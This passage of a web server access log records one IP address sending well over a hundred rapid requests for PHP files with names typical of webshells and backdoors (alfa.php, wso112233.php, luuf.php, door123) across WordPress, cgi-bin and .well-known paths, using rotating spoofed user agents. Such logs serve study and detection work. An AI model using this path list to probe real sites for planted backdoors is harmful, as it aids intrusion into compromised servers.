/htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:31:13 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:13 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:13 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:14 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:31:14 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:14 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:14 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:15 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:15 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:15 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:16 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:16 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:17 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:17 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:17 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:18 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:18 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:18 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:19 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:19 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:20 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:21 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:21 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:21 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:21 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:22 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:31:22 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:22 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:23 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:23 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:23 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:23 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:24 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:24 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:24 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:25 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:25 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:25 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:25 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:26 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:26 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:26 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:27 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:27 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:28 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:28 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:28 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:29 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:29 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:29 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:30 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:30 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:31:30 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:30 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:31 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:31 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:32 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:32 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:33 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:34 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:34 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:35 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:35 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:35 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:35 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:31:36 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:36 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:31:36 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:37 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:37 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:31:37 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:31:37 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:38 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:38 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:38 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:38 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:39 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:39 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:39 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:40 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:40 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:31:40 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:40 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:31:41 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:41 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:41 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:42 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:42 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:42 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:43 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:43 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:43 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:43 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:44 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:44 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:44 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:44 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:31:45 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:45 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:45 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:46 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:46 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:31:46 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:31:46 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:47 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:47 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:47 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:47 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:48 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:31:49 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:49 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:29:40 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:49 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:49 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 